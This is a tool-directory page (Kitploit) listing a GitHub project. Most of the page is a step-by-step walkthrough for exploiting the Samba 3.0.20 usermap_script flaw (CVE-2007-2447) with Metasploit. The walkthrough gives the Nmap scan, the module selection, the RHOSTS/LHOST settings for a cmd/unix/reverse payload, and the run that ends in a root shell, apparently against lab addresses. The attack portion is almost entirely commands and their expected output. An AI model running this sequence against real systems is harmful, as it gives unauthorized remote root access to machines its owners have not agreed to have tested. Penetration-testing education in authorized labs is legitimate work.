Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Samba-Exploit-CVE-2007-2447 — Step-by-step guide to exploiting Samba 3.0.20 (CVE-2007-2447) using Metasploit, including Nmap scanning, payload setup, and reverse shell execution. | Kitploit
Tools/GitHubGitHub/nulltrace1336/samba-exploit-cve-2007-2447
Exploit FrameworksVulnerability AnalysisExploitationPenetration TestingCommand and ControlPayload Development
GitHubnulltrace1336/samba-exploit-cve-2007-2447

Samba-Exploit-CVE-2007-2447

Step-by-step guide to exploiting Samba 3.0.20 (CVE-2007-2447) using Metasploit, including Nmap scanning, payload setup, and reverse shell execution.

View Repository
18 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🎬 This YouTube video

YouTube Video

1️⃣ Scanning the target (Nmap)

root@kitploit:~
nmap -sS -sV -p 139,445 192.168.56.102

Expected result: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 Samba version: 3.0.20 This is vulnerable to CVE-2007-2447.

2️⃣ Identifying the Samba exploit

root@kitploit:~
searchsploit samba 3.0.20

Result:

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ Launching Metasploit

root@kitploit:~
msfconsole

4️⃣ Selecting the Samba exploit

root@kitploit:~
use exploit/multi/samba/usermap_script

5️⃣ Exploit settings

root@kitploit:~
set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

Payload will be automatic:

cmd/unix/reverse

Check:

root@kitploit:~
show options

6️⃣ Running the exploit

root@kitploit:~
run

or

root@kitploit:~
exploit

7️⃣ Result 🎉

If successful:

Command shell session opened

We check:

root@kitploit:~
whoami

👉 Result:

root@kitploit:~
root
Download Tool